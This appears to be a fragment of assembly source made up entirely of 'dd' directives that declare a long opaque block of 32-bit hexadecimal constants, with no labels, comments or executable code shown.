dd 0A6880D90h, 0C4C21F7h, 0A4C09F28h, 0B897F082h, 67E62588h
dd 0BEE5F0E2h, 6105EDD8h, 55377C3Ch, 0A8676C40h, 39B46EBCh
dd 0B2831847h, 0DA0AEEA3h, 36E93ADBh, 0B8C042CDh, 79483430h
dd 223A46D2h, 3CC700B2h, 57F71348h, 64002D3Dh, 2AA4352Bh
dd 3183AFBh, 0ACE490BBh, 0E848C660h, 7C3239Ch, 95654833h
dd 0CC302862h, 0EE483B1Dh, 4C8D8082h, 0F2F3E065h, 8EFB000Ah
dd 9A90B81Ch, 51145C9Dh, 0B8302202h, 0A3008CC5h, 3D317A2Dh
dd 7DD13C43h, 820F0A14h, 0FC0B59h, 24811587h, 27F254DBh
dd 90BD3304h, 0CC8B514h, 92FB3052h, 0AC9D96F1h, 26DC7948h
dd 0A5087446h, 0F65B42BDh, 88B75700h, 0E3D23E2Fh, 5D31A8B0h
dd 5803CE4Fh, 1192A97Bh, 69F4AFD9h, 87DF0491h, 7C604BC6h
dd 62020C79h, 0DC610CE4h, 20147A30h, 6E41920Dh, 0AE0418BCh
dd 31708C75h, 2AF8CA05h, 3094D011h, 27B59C82h, 0EE7B41B0h
dd 79BF07h, 96314AAAh, 328A796Ch, 2085C8Fh, 0CECC8468h
dd 0AF14A0Fh, 60DFC06Eh, 29BC809Ch, 3C49F13h, 0A3351106h
dd 40FD83A9h, 3E256480h, 954C6E50h, 804BBF00h, 0D9BCB90Fh
dd 8C966F7h, 0FD217Bh, 5213E46Eh, 60C80A6h, 23890E0Fh
dd 0D48A300h, 1B52C905h, 0A86A4896h, 0A0AD1474h, 3902B076h
dd 0BB712AF6h, 620B7C81h, 8C95086Ah, 3F4AD404h, 0FA615C96h
dd 58E6008Bh, 90DA6B4Bh, 8CC41013h, 0E800C3E4h, 0B4AD9E6Ah
dd 0D228FCh, 0AED052C8h, 0B8AA0CE9h, 0A4C5D37Bh, 3C207C68h
dd 14344A65h, 0B82D1496h, 4ACDD3B0h, 7A56F000h, 0CF6F2BC5h
dd 0E3CE24DCh, 0E85960B4h, 0E9248F94h, 2BC3904Bh, 0D7A3FBh
dd 0DFBBE4A0h, 5C1BC5E0h, 4D820D0Ah, 1E248C01h, 7111EF0Ch
dd 0D7E43BCAh, 80A9EE80h, 1736EA8Ah, 0B599E802h, 42FF8408h
dd 0E41C45ECh, 0C94160BEh, 5F03C16h, 41660392h, 0EBC87EE8h
dd 9645EC1Fh, 0D1AE5600h, 5D636738h, 0AC49088h, 0B08B2FD9h
dd 0CB215E9Ch, 0A93C8168h, 0C012E0BFh, 0DD0041D9h, 0B4640222h
dd 0BED6DE9h, 83D0FC93h, 63DBCC01h, 0FEC7F09Ah, 0CCCB3F26h
dd 0E5942174h, 8095498Bh, 0DE0AB655h, 1E36261Ah, 1732B3DCh
dd 0D4C03BEBh, 1580C61h, 0C0688834h, 0A1BFB583h, 80347152h
dd 7B57AABh, 0D728005Dh, 0C2B67884h, 8C008BC5h, 0FF1B0967h
dd 65D14B77h, 0C2C96008h, 97200B64h, 0A086ACADh, 11E6D7E4h
dd 0CB513h, 223FF8EBh, 642A10DCh, 0C884A10Dh, 3D00797Ch
dd 989CC67Ah, 4040AD90h, 76054480h, 8E60C465h, 0C15498D0h
dd 0EB3903ECh, 0F84CE012h, 0C100F093h, 4BE75602h, 0C096795Fh
dd 321D4530h, 693B93D5h, 785A9C88h, 84E62200h, 0C1D8CC89h
dd 0A03CA380h, 0F578300Eh, 6C04C0Eh, 2ED91910h, 0DE002429h
dd 5394686Bh, 0F600F7B7h, 6D2498C0h, 0C60417h, 1DDEE82Dh
dd 0A97F971Ch, 2FDA0C0Ah, 8020DF70h, 9D403C17h, 43F5D800h
dd 41CCCAAh, 68AE5B39h, 0E204B22Fh, 0F36B30AFh, 0C8D1BD05h
dd 90408D60h, 0DAE3983h, 3AD001A3h, 0FCFE61BEh, 3048ED09h
dd 925C0B68h, 2D901BACh, 94CBB8E1h, 0A81A1FE7h, 8F3687F1h
dd 6FF8105Fh, 2D0142D7h, 1ABA8B04h, 0C4486E3Ch, 717D07F3h
dd 0E19BBCF8h, 70C738CAh, 112629F4h, 8340AC84h, 30538887h
dd 66987FABh, 9D2A9034h, 109C455h, 8FD4D613h, 89049324h
dd 5C820D29h, 0B585303Eh, 0E1A18908h, 409164ABh, 0CDB57C5Dh
dd 1F9400B3h, 603CA169h, 0E8A4FDF4h, 3A9F40A8h, 0EACCAA50h
dd 0F1BB6202h, 4412E906h, 600D1360h, 3F7C00A4h, 0EBFF092Ah
dd 37254A06h, 12F99059h, 0C4586210h, 0E44C0A8h, 0B0092CBh
dd 814A8E70h, 55F963Dh, 4620D01h, 0A14045Dh, 14EF06C4h
dd 393A0071h, 9024D789h, 4700EC02h, 0FA7EE416h, 1CEAC992h
dd 0C40D5F95h, 0BBF6C62h, 461084D4h, 179A94A0h, 229510B5h
dd 3F30BF88h, 46D17948h, 3BD2242h, 8A486798h, 0D0200E47h
dd 0DC690977h, 84000156h, 0FAA3C527h, 0C91E0300h, 209A8195h
dd 6D280E6h, 60E5022Ch, 299C08Bh, 0E18738CCh, 0DB00101Ch
dd 23ECE0ACh, 0E00D804Ah, 882008DEh, 0C7073E4Fh, 0B8E11680h
dd 347DD2AAh, 368BD59h, 6A7E0FDDh, 0ED80C5B3h, 0B8DC880Bh
dd 0D158C345h, 7002C754h, 0B38CA11Fh, 574C6008h, 867495Dh
dd 8DE87C48h, 3799148Ch
dd 281F48Ch, 6FD99Ah, 3C822623h, 30D00189h, 7E048C65h
dd 99A1BCB5h, 0E02E8F62h, 657CB595h, 978126D3h, 54A141DCh
dd 0FFE63057h, 0CA896F8h, 0EF33238Ch, 8561F0FDh, 0DEB2FCD0h
dd 398113D2h, 3FF022C3h, 8B64430h, 0ABE9A18Ah, 6259B86Fh
dd 0EEB5007Bh, 0B96ED30Dh, 84F264EAh, 0B653511Ch, 215E5C6Eh
dd 13828C02h, 60E30BC7h, 15B6628h, 0B6471425h, 2C992AF5h
dd 1C8C0978h, 5C08290h, 0E658409Ch, 3C060159h, 0B1250D7Bh
dd 0E302C74h, 0D2830B80h, 1BA57041h, 2860F921h, 0D0BF3EE5h
dd 0B10A139Fh, 30702520h, 0B053B829h, 2DAE8420h, 0BDB48264h
dd 79483130h, 30525C67h, 48204FE7h, 0B1149044h, 0A76E4712h
dd 0BD781041h, 0BAFC30B4h, 8DD9003Bh, 0D397C096h, 6300213Ah
dd 52AA220Ah, 346B2B6h, 28906618h, 58037D61h, 0A160BCE5h
dd 0A8694157h, 6082040Ah, 0D08008B8h, 4CCA53CBh, 6F2DBC00h
dd 0B71DE2F0h, 11770068h, 0E799FF3Dh, 211DB1B5h, 0B404AD5h
dd 0F1E5EF2Dh, 0BD3900E3h, 74BEFC1Bh, 3A00DEC1h, 0D6DD5649h
dd 0CC600Ah, 281682Ch, 0C8D5B40h, 0A500E6ECh, 0B620D449h
dd 153F936h, 97D2D589h, 0D802A93Ah, 0D100B88Fh, 76CEDEA2h
dd 0A89FB9h, 0D01EAC03h, 0BC349760h, 1B2E691Dh, 91190800h
dd 0F4CF6CADh, 0E6E25Eh, 8070FC5Ch, 0A77DF526h, 87D6223Eh
dd 0B8E7FF55h, 173669C0h, 774C2489h, 0C0091C4Ah, 0CA861C52h
dd 0C21C21BDh, 6E007A56h, 7725B18Dh, 0F6AE0012h, 2E1A5E42h
dd 870050AFh, 9A1E678Fh, 777173Dh, 8DED985Ch, 0B33153A6h
dd 0C8230BE8h, 6CAAD818h, 3FD7B70h, 62EB3060h, 4ACA1312h
dd 90410142h, 7B0828D7h, 247A9B00h, 6FA13B0Dh, 74C0121h
dd 0EAAB5D7Bh, 0EBA050A0h, 0D89874F9h, 624092F3h, 371538D0h
dd 324760C3h, 0B05860E6h, 0F3E8200h, 0D74AEF06h, 0BD100F0h
dd 521A6263h, 8400FE02h, 5852570h, 3615E2h, 76AAB2CCh
dd 1CBCE049h, 58740700h, 8E8B9156h, 0A066548Fh, 124606D7h
dd 106A3510h, 9AAC1E00h, 421C33A2h, 0B9795Bh, 0C537A3BEh
dd 0CBCD50F4h, 0D7ACE00h, 5CBBE0C6h, 95D0004Bh, 9F1DF7AFh
dd 48C0F236h, 0E55B97E7h, 8F0A005Eh, 579A8995h, 3D5C7AC0h
dd 0F1607FCCh, 81D19028h, 80E802B0h, 0F63E50C4h, 1497A848h
dd 1E879658h, 0F1C06926h, 0B2ADA0A4h, 0B7040028h, 0F0EF569Dh
dd 7A7AA724h, 0AFDBF600h, 4FB43219h, 8BEB00B7h, 2D66CD25h
dd 860FDEC5h, 0C0F62216h, 0A479F2A8h, 0C97751h, 1CC2F3FAh
dd 3992CA5Eh, 6B138707h, 249E4ABh, 827DDA98h, 4079DED8h
dd 19370EAh, 0CB8E32BAh, 804E3850h, 519BE2B1h, 0F3014Dh
dd 79EF7AC4h, 741CC037h, 15E5F100h, 0F9A7F4Ah, 2D80193h
dd 2792B588h, 0CB520AFh, 0C4700D00h, 0D9E9B43Bh, 0D7E73950h
dd 5F7D0901h, 24C68555h, 0F601D81Ch, 30594D65h, 2BC4A798h
dd 8261015Bh, 0BEC54162h, 0FEC3920h, 809906AEh, 6A8C91B9h
dd 0D23507F1h, 10611F3Bh, 4D271033h, 7D2D191Dh, 53D49B80h
dd 0F6171EDFh, 3C3FC66h, 4CE86FA2h, 1CA671F8h, 0E6E1A000h
dd 0A8F2B75Dh, 72C31DA3h, 595B003Eh, 837FFAFDh, 8868D300h
dd 0DD7B9B2Ah, 7DF31FA1h, 7C2E0CC1h, 8E005D10h, 65343103h
dd 5F3235h, 87E4336Eh, 833B42CBh, 0DC804600h, 67222FFFh
dd 0DFC70059h, 79144BADh, 0C318D657h, 0AAE9E318h, 0D7EE0002h
dd 9B25DCE1h, 4B0E0120h, 0E3FA565Bh, 98AA7DFDh, 75DA3DEh
dd 67C64F5Eh, 76CC10D8h, 0DB4CE3B5h, 0EEBD0059h, 14862FC3h
dd 95E9006Fh, 6CD082A5h, 0ABFAC430h, 1E4ED200h, 0AF190412h
dd 0A5AE073Eh, 60764A9Eh, 0C669C265h, 705BA21Dh, 87A44CC0h
dd 568DF1h, 621CF3ABh, 1EDB4EEh, 9D07C400h, 92A923AEh
dd 0D7671EDAh, 20CD7AC3h, 8B642F01h, 30C2FB02h, 38EA3B82h
dd 0C4C91C00h, 6B168090h, 0AE1B00DCh, 33EF0C31h, 0E404775Fh
dd 5B63392Bh, 5256F080h, 2FD70F53h, 0D940B883h, 0AA8C4B76h
dd 8113600Bh, 0D7AA8066h, 79CEC75h, 89F58F4Fh, 3DBF40EDh
dd 2607BBF0h, 4E222BDh, 0A6E199ECh, 80A900B4h, 0C6570121h
dd 24006EFAh, 356A9A72h, 705F625h, 437AAAFCh, 0DF4C50C4h
dd 0CFE2CB29h, 20D1841Fh, 217E8200h, 1FAAFF6Dh, 0CA5C47CEh
dd 6A09149h, 60DEB725h, 0AF1B6D0Bh, 3C60EF6h, 0F03BA945h
dd 30CEC950h, 0FA31CB4Fh, 0A7E617E6h, 0A6F10300h, 0BEF9369h
dd 10BCA007h, 43D903E0h, 361DD816h, 0F2C94600h, 0A1F7E51Ah
dd 789091h, 0F4556DCFh, 0CB3C3A1Bh, 0FAC0ED02h, 41590844h
dd 0EBE8BE28h, 562F00DAh, 901A2D45h, 7BF4FAEFh, 0D52B4C00h
dd 1E8E62A5h, 0F35400A3h, 9A5D5122h, 4B001938h, 5C25DDC1h
dd 0F4A77Ah, 69DBB1BEh, 9B639154h, 0EDC75000h, 0B2A0FF87h
dd 23BA07B6h, 70A151AFh, 5B1F5798h, 3A133200h, 0CFA37FBh
dd 89A70035h, 0A2770578h, 93F6451Eh, 0F609BC00h, 3AB4CF4Eh
dd 75F500C6h, 0E0017859h, 5B00AB07h, 74514424h, 0D38EADh
dd 0E4721F43h, 173E55D9h, 6D33AB01h, 11505B67h, 0A209D140h
dd 0A32104E2h, 0A0D0069Ah, 0F10926F0h, 8E14403Ch, 851CE7BBh
dd 952B404Fh, 390454h, 66791BE5h, 7757EDE2h, 4494AD1Eh
dd 9B5DA640h, 2C9F64h, 0D370B1ACh, 80CEDA8Dh, 0DE4FF075h
dd 0E8581045h, 0E0756CD3h, 4327A2Ch, 6E79D496h, 9760A0E7h
dd 0E510C463h, 3400948Eh, 5466677Ah, 0EFB4BC00h, 4F8CB928h
dd 0F90C0080h, 1023E93Eh, 0D6240DB7h, 491D4667h, 8AC01180h
dd 0D008CAh, 23941D7Ah, 64DEB9A3h, 0C10E797Dh, 3D8E98B7h
dd 10010DC0h, 3D14EF3h, 0F770BCD8h, 90001C49h, 0AA51A326h
dd 0F8B8A1BEh, 191B604Eh, 8D8B23EBh, 3632A0C7h, 0E3DE803Eh
dd 652BAh, 0A208B08Fh, 0CB0B21FFh, 8C00EBF8h, 1868A8F6h
dd 2B8E70h, 6D96D597h, 1F7A38FCh, 0B700417Eh, 64889F76h
dd 89186Ah, 0D42BC515h, 0F7332C34h, 611B5100h, 7CBF1D85h
dd 6F820077h, 0FE9FF487h, 163C029Dh, 0F123E07h, 0A03211A8h
dd 0BDEC4104h, 0D33400D6h, 8B39668Ah, 1600D419h, 5532763Dh
dd 2DD57E03h, 309790BFh, 608BFD88h, 1A67817Ah, 0A390822Fh
dd 0D99BB2A8h, 3F85124h, 0B8213F6Eh, 8EE9B387h, 87DF901Ch
dd 0FE5C138Bh, 48C62694h, 0D2256302h, 1F4D96Dh, 10444B83h
dd 25DD1999h, 4BC34F00h, 0C6791D00h, 7AFB5347h, 90B7028Bh
dd 8FD4A608h, 0C3FC083h, 5898ADFCh, 46A28BC8h, 354D125Ch
dd 70C4C299h, 718D3702h, 792A0414h, 0DCA101C2h, 0DC2CF366h
dd 88D4204Ah, 0E575772Fh, 0F87F1003h, 0D0B65321h, 18EE2EECh
dd 2FB4098h, 62009372h, 2806BF45h, 373C309h, 0E6A90CF8h
dd 0B9C8FCDDh, 34001275h, 4A4FC4CBh, 3F2F3586h, 2103A555h
dd 375B3DDDh, 2DC326D8h, 35858200h, 36A06F28h, 1F980619h
dd 1894A943h, 0E4032F04h, 18802173h, 603868CCh, 65A21853h
dd 41C03724h, 7407BCA0h, 0B633C8Eh, 90CD1E01h, 9CCCC8ACh
dd 671B8249h, 14E4C008h, 371F00E5h, 94B10F7Dh, 93005BE8h
dd 7B899197h, 0CC9B40Bh, 47508751h, 390006C1h, 8077C7D4h
dd 0EDD48h, 2C59CC09h, 91F4D610h, 0EF2DF800h, 0BA4397E7h
dd 400437CFh, 0E2F5C0D0h, 0AE0042A8h, 0A6BD651Eh, 5EC9CDh
dd 27502BC2h, 0B67D3FD2h, 1CA80E1Fh, 52FA1E83h, 1FACA81Bh
dd 2D670C93h, 1A74F8BAh, 0B0853603h, 265B8CFh, 7171661h
dd 1CC1127Ah, 26F18272h
dd 87861FB6h, 843A5080h, 6DE0C780h, 1729588h, 0C4632EAAh
dd 0FC7AF3BEh, 0BD038A18h, 8BD9615Eh, 0C54939C0h, 8065279Eh
dd 7BDA76AEh, 37240310h, 511DB0DCh, 5390807Ch, 0F41A23F5h
dd 0A424002Bh, 0B112768Dh, 0A60516F1h, 8803D4AFh, 7DE26BC0h
dd 99BE006Ch, 46A1CB2Bh, 14009C43h, 7CE7A7ABh, 65BC2h
dd 0FD02A53Dh, 9F21898Eh, 9903E6F6h, 88BBE3BAh, 2B08308Ah
dd 0C2B04321h, 0FBCE5500h, 0F66A1804h, 253F0FD9h, 31A17DCAh
dd 88898FA5h, 67A4B458h, 9917F1A2h, 89161892h, 20C2E83Ch
dd 0FAB43900h, 0D35B62Ch, 0D8EB0008h, 4AE6726Ah, 0F33075C4h
dd 0FD0160C3h, 56BC0EB4h, 1098830Eh, 0A5B8E9EEh, 45541413h
dd 87CD50Ch, 5921C087h, 3265C3E2h, 1300587Eh, 0ABA305B6h
dd 271E87h, 0CA3BA1B5h, 0CCBCFF1Ch, 1F48361Fh, 39468F1Ch
dd 7901FAh, 4CFE47DDh, 2551436Fh, 0E2098666h, 3FBD0021h
dd 0B068BCFEh, 5500725Fh, 0C7834187h, 0CE28307Eh, 77C988F1h
dd 14936880h, 0A0A88FFBh, 0DC307B0Eh, 0BCB5E828h, 7B70A46Ch
dd 149B1117h, 0B7DE8464h, 0C3304300h, 6400E1B3h, 92F1D23Ah
dd 606BED6Ah, 0F68E20AEh, 8F0687D7h, 852BACBAh, 0CF6802F8h
dd 0C288F8E5h, 0BDCBC055h, 0EBE600DEh, 0FFBE6F81h, 0FA4A036Bh
dd 0A30181FCh, 0E5EE8D9Bh, 0E1D5FDD9h, 21B3E41Dh, 0D0222B00h
dd 0AC695ACEh, 0F69500ABh, 0CA3ABB04h, 0B51FEE27h, 0AF00517Eh
dd 454A197Ah, 6513016Ah, 0FCE4EA17h, 0AE6FF416h, 19965F01h
dd 4F679C15h, 293ECCh, 6C569E3Ch, 5E866F2h, 0B77A1800h
dd 8061CDE7h, 0A6FF3CC0h, 0C8AF7400h, 9EC3494h, 191F9003h
dd 0F88797ADh, 34D4192h, 89B3C83Dh, 58C86535h, 0DD1FE89Fh
dd 87525E16h, 3EA26807h, 0D530A950h, 68070F26h, 0A30C9E63h
dd 0B5070148h, 7E6AF91Bh, 0AC6E36B0h, 219461BFh, 0F808EAFBh
dd 0F200C9B2h, 3A063399h, 181EA811h, 0DA6FC37Ah, 4B01DAE7h
dd 6D4155ABh, 1EF9F39h, 103B1810h, 3059F8CDh, 7E60FB37h
dd 144D9319h, 45400C46h, 7BA09873h, 5DEAD2F2h, 290179FAh
dd 85F9D004h, 12D8BAFCh, 0B2B30196h, 8E1909DBh, 0F152E84Eh
dd 9571C01Ch, 0A2F6DF40h, 396484h, 0AB3EF84Fh, 0C0DD2022h
dd 56C21E07h, 92B05FC3h, 3F7F315h, 49E7F18h, 36B8DFF5h
dd 1D0F76DBh, 8166DAA4h, 7365C072h, 0FC2D5894h, 10836A3Bh
dd 0EEC7E6DCh, 7DE1DBE8h, 0AEDF8000h, 0E9A9190Fh, 0F5B70030h
dd 0C04097Ch, 0DB03C11Ch, 240DA59Fh, 1508186Ah, 0D86120A9h
dd 33961C00h, 0A448DB11h, 0C0CD01F5h, 0D865C45h, 0BB38EC71h
dd 0C603A27Ch, 853D8B09h, 9C280E08h, 0E2C0E1A8h, 0D9A96764h
dd 0DD16CC06h, 3200A76h, 92E1C0A7h, 2EE8A574h, 251C14A3h
dd 6030D734h, 6670C432h, 61A488DBh, 0AE03D546h, 0B4E206E1h
dd 74305840h, 0C6C588h, 660C91E1h, 655A79B9h, 84FE0F28h
dd 0AB30D518h, 0E4F0E259h, 60E697h, 819F4F02h, 0B2C6D64Ch
dd 914AC001h, 7EBAD83h, 0EE169181h, 0E4B7B475h, 740F6796h
dd 806604FCh, 884B02B9h, 0A6A203BAh, 47C75515h, 6EE39BC1h
dd 3AA0A6E0h, 7E7B287Ch, 0DAD10066h, 0D8BEEBAFh, 92002B22h
dd 0E1BA7BC2h, 0E82176F0h, 0E3600062h, 59F3BFECh, 0B4001F4Dh
dd 7E01D0C1h, 76F7353h, 7023AE7Bh, 7D5B1034h, 403470Eh
dd 368A55FBh, 4E80FD13h, 0E7D158h, 0D046E3EDh, 9503C8D4h
dd 0A87B2B07h, 4B60EAA0h, 0C02DFBA7h, 881BF5E4h, 6B0DBD1h
dd 0A10458h, 81436C53h, 0EE4F3342h, 0A5240005h, 0A7DDA471h
dd 0E500BC68h, 0AB72C369h, 0E8D93879h, 0BFFD0063h, 591DEC12h
dd 0D6009019h, 39B037EDh, 9852A1h, 6CE1D205h, 24364226h
dd 0FA6A8A00h, 0A291763Ch, 0E57A17h, 0EF3FFF72h, 19263B41h
dd 0AD138400h, 6CB37716h, 4A8D036Ah, 0B29B5A6Eh, 0A1038h
dd 0EEF965BBh, 0F4C92F61h, 95F80010h, 589AFB2Eh, 0F300AF99h
dd 6753494Fh, 708FF3Fh, 0BE5496CEh, 0C74345F8h, 0C67360F2h
dd 860072D2h, 298E1E5Ch, 60E6A4h, 0DD346E61h, 0FA166456h
dd 4DC05E1Fh, 88F03581h, 1330D20Fh, 0C25C074Ch, 0EBF26D03h
dd 89977580h, 48000D45h, 0B8960554h, 9294BBh, 8F4E7227h
dd 9BE4AD4h, 0BD16C106h, 2847FCh, 1D36F192h, 0E691F6B7h
dd 23B55900h, 0A9FD1E2Ah, 1C870D2h, 37BF6B33h, 70542258h
dd 6E07165Ah, 8A6DD363h, 476138F0h, 0C9CC013Eh, 45934E55h
dd 0ED242070h, 1B3728C0h, 0FCDE3FE6h, 163802B5h, 81D66027h
dd 0BA68BAE0h, 0F06B4400h, 0C86E2077h, 8D720359h, 0E32C669h
dd 0E5BFC388h, 757D0F00h, 0E9D005AAh, 10D90256h, 55303216h
dd 0E8171849h, 0E015EC8h, 31657D3Dh, 218F10CEh, 2E40EBBAh
dd 29A7D10Dh, 0CAA2FB00h, 316F6CB4h, 5E4C007Ch, 320FA196h
dd 5639448Dh, 630500F6h, 5C70D689h, 0EFF6F5h, 3D40818Eh
dd 52699F90h, 37620200h, 438347F9h, 1D83B592h, 998038C5h
dd 38C03EC9h, 0D7662A6Bh, 0A7160485h, 30A26h, 6FE5B8ABh
dd 88290C1Ah, 0FB51458Eh, 8DF3590Fh, 34F56067h, 0ECB3C930h
dd 4A85015Ch, 297D895Ah, 402CC2Ah, 0A8372C14h, 0D7F400F8h
dd 0FC6EFEA5h, 162D00EAh, 247AF991h, 74071312h, 0EED8B707h
dd 46E98800h, 38F57FB1h, 821EAE47h, 0CC070335h, 72F0F2F1h
dd 28C7EF88h, 74D0B561h, 719BBBAh, 5C6AB953h, 0C07F2F48h
dd 4787B2FDh, 460001A3h, 56127E42h, 79ADA560h, 3095E61Fh
dd 5EA03EEAh, 0BC0F817Dh, 80E20765h, 9EB43076h, 36FB04EEh
dd 90778456h, 0CCF1E480h, 5188C800h, 8DD7D87Ch, 0A7B50071h
dd 1D4E7404h, 0FA005B6Ch, 598AE987h, 262DFD21h, 0BBE11Bh
dd 0D5957842h, 2F006A70h, 0A33E346Ch, 308B66h, 1D489DF8h
dd 0A745EEA9h, 156FB902h, 60CD187Dh, 13946006h, 4ECC8Ch
dd 72BE7E44h, 48903DE8h, 80BB1D26h, 396CAF00h, 18238AF2h
dd 21246AB4h, 4DE49AC5h, 0CDD67100h, 1FA20C6Eh, 0F6390099h
dd 0AF44FD5Dh, 6B1F726Ah, 30802DEDh, 7138877Fh, 84400323h
dd 488C1D79h, 80C884FCh, 16049C14h, 0FA965C00h, 5731987Ch
dd 2BFE7Dh, 2364420Eh, 115DAF9Fh, 32C55906h, 0B85798h
dd 4D3ED285h, 3D94F193h, 2A0F610Eh, 0E5C96038h, 0D04C71h
dd 0BD6BDA2Ch, 0F6B60E1Bh, 8CFA4D00h, 3348C117h, 64F00AE8h
dd 8BA0376Eh, 0A68066A7h, 2E2735B4h, 445F2826h, 0AD423001h
dd 4C35C776h, 0E7C1D8h, 8F7E0A1Bh, 3B61AA91h, 0A8F6A418h
dd 11DD20h, 67F050C2h, 4D0BB766h, 3C6C8A0Bh, 55707Fh, 6D93CF95h
dd 7C619E50h, 7D3F6AF4h, 0F7148F8Ch, 0A4CEC1B5h, 2B61B6C6h
dd 866BD8h, 1DD0D829h, 7DF8142Bh, 0CB64BE18h, 0E160B8h
dd 0FA153185h, 0C124516Ah, 4019178h, 44D747C4h, 60E15AECh
dd 1CD93C20h, 7169CB6Ch, 0D1599B20h, 6701C0D8h, 38C06E78h
dd 5EE81A19h, 338100FBh, 0D74D7BC9h, 0B500C076h, 37F524A9h
dd 50AAE152h, 0F0062C88h, 90176FB2h, 0A6E75918h, 7A675800h
dd 0EAAB0588h, 34A5021Ah, 63BF41C8h, 0DB536080h, 0F5165F2Ah
dd 7C007908h, 0FF48E31Dh, 7513003Ch, 97C98449h, 1A01A793h
dd 7C576165h, 0DE600A81h, 5213013Ah, 9DFC24E9h, 1E4530BFh
dd 0EEF8DC00h, 0A0F02C79h, 379A006Ah, 56D34FF5h, 0D700DA9Ch
dd 0CC31230Dh, 1EE514h, 0B4865336h, 0BAE7613Ah, 0E2183F03h
dd 0F0EBE484h, 1362A7h, 0C4E6248Bh, 0DBB23265h, 0D9C2AA00h
dd 2186384Fh
dd 8F1B2450h, 4C0F003Bh, 0AAD741A7h, 0DB1CC400h, 0D406C17Dh
dd 55E10088h, 45DAFDE8h, 2800C25Bh, 8490C4E4h, 0F4142C15h
dd 0D4580026h, 8209ED97h, 57004DB0h, 0DD3BC4C9h, 1555C650h
dd 0BC339F65h, 8249BF00h, 67207017h, 0F0C09055h, 0ECE3EEA6h
dd 2B052CCDh, 6DCF6C52h, 9D88B840h, 0C0D368ABh, 0CCDC5011h
dd 1F0055B7h, 6C230E47h, 663837h, 2BFFAE21h, 123673B4h
dd 61CF6F7Bh, 800360CDh, 79F2E657h, 293A063Dh, 205FBE25h
dd 30063E3Fh, 2AF911Eh, 3ABA0069h, 6CBFC5A7h, 7228B9B8h
dd 86F0647Ch, 5E3BE91Ch, 6A118F9Fh, 0E5986700h, 158028BFh
dd 787ADF00h, 6F0E372h, 0C24B02C4h, 3D9C667Ch, 0E47F8891h
dd 397C51F2h, 406922h, 0FB3278BEh, 2CE082BDh, 7F70D700h
dd 0F8BB1E38h, 3A120020h, 561F3D85h, 0B9C0E8E5h, 0A5E1CD8Eh
dd 0D47601DBh, 29B111D6h, 9EE0806Fh, 86E524F2h, 0A6FB0EFh
dd 0B3121C59h, 0FDFF0010h, 8970B147h, 69C49D0Ah, 0A481B8D1h
dd 2CFA7432h, 1C49FB20h, 0C0950663h, 91B89704h, 1D304FF2h
dd 778381Ah, 0CBB4002Ch, 6C46ABDBh, 49C5A8D7h, 7C039765h
dd 5EC955h, 6B238319h, 0AFB52B74h, 8087C13Bh, 0FA8E0C44h
dd 0B0DA89C7h, 7BE7009Eh, 3557059Ah, 2435B65Bh, 8B014070h
dd 9274B518h, 0C4C01ED9h, 8DD80041h, 0F593B389h, 0B50166FFh
dd 162DB15h, 1DEC84C5h, 0B5558A6h, 0ECC1E814h, 0B6FC18C0h
dd 5E3E3590h, 33885CF4h, 0E8F0A966h, 3B9610h, 0F450E754h
dd 901B6A87h, 9D03B2E4h, 681F4174h, 8031005Dh, 0B7D18B6Bh
dd 9F503684h, 4D1C16CAh, 9EC0ADABh, 5999630Dh, 0B67512F4h
dd 0DF44404Eh, 0C803D068h, 0B5AE490Dh, 16D8195Ah, 0B2CD0E69h
dd 0E534CB7Fh, 18B7C801h, 3084D40Eh, 14001C00h, 0A6465C98h
dd 0C0353B69h, 59E9D388h, 850073C0h, 8720C477h, 6536D0h
dd 5590EF33h, 66763AB5h, 6721B410h, 74681E0Ch, 3B1DB1C9h
dd 8C00448Ah, 0FA6C40F6h, 18BA75E8h, 0A14DB547h, 1100D322h
dd 771AFD27h, 4E206C2h, 4F574351h, 0B45090E9h, 460308AAh
dd 54A00D25h, 8D19261Dh, 36050070h, 2C884DEDh, 66987B09h
dd 0B7AC109Dh, 0E549247h, 94F8DA1Eh, 0C0E41ADh, 0D2036AD0h
dd 97AA162Eh, 0B7539067h, 0ACED005Eh, 9DCB92DFh, 1C00BAC9h
dd 27E723F9h, 19B325h, 144D8EF8h, 59220ED2h, 0B2F2F50Fh
dd 811260BEh, 0DEFCF0h, 9FE0BA7Dh, 269CCF32h, 72CEB504h
dd 68908854h, 1FB6717h, 15D38066h, 70B5C46Dh, 1900C259h
dd 42B8D91Fh, 26EA9C2Fh, 1B6865B1h, 0B900AE73h, 97C3DED7h
dd 0FF6673Ah, 0B5627645h, 70E159E0h, 2E3C35A7h, 46E000D9h
dd 1FCD5EBEh, 9F3156Bh, 8003A026h, 28F17C34h, 73E18DA0h
dd 3913241Eh, 809CB694h, 0A136175Dh, 786700F4h, 8ED001F0h
dd 8412EDCCh, 18309FAFh, 95C868h, 5748D9A5h, 0D408C397h
dd 0BEA87D00h, 0A9F58C3Eh, 88DB00B1h, 0FB46B5B3h, 8D4CE51Fh
dd 0CC7D00C0h, 580D2499h, 0ABF065h, 0F0A4E98h, 0F9CBEC43h
dd 0AF009EFEh, 0F1D677BEh, 466E414h, 0EC4FCF79h, 347B451Fh
dd 8AA5FC40h, 0CFAFDC7h, 706F4E0Bh, 3538C019h, 1FEBBDAh
dd 20564568h, 9FCC3786h, 0BE7860h, 0BBFCF9F7h, 0B4118B84h
dd 57842A54h, 9A0EED71h, 2DAFD2h, 6BF9BBA1h, 0FCE901A7h
dd 264C5DBDh, 126C22B7h, 8D06CC85h, 69E8E15Fh, 2C910E7Eh
dd 0CE4FE55h, 0DEA08880h, 8690F400h, 0B6523556h, 0A849C050h
dd 0F527D17Fh, 17C22300h, 7A4C7782h, 91F41C49h, 9BD046E7h
dd 0B124593Fh, 0A504145Eh, 0A08C504Fh, 46E7147Eh, 0E6809420h
dd 8846597h, 0B8C50400h, 6A12EC6Dh, 8E7700ADh, 0F5FA0998h
dd 0E12A6BF3h, 0B000545Eh, 0E6EDDF8Ah, 4875B764h, 81DCF86Ch
dd 48C7894Bh, 0A155C8BCh, 1D06600h, 0F965B02Dh, 0B67D3EF4h
dd 1F11D961h, 4028EC48h, 0B1ECDF1Eh, 66C8B340h, 0C1567C8Bh
dd 0F5CB6BD1h, 1510D873h, 1AE7AA1Ch, 0FD8579C0h, 0FBDFAD9h
dd 6C2CCF6Fh, 0EB1820D6h, 4213CC73h, 0F8304CC8h, 0E803CA9Dh
dd 46290251h, 7B94B505h, 0BE3B5C64h, 0B9CE0081h, 0FD16433Bh
dd 0B1843CDBh, 0C6E7DD80h, 0EDE5A638h, 275885F2h, 0D41BC1DCh
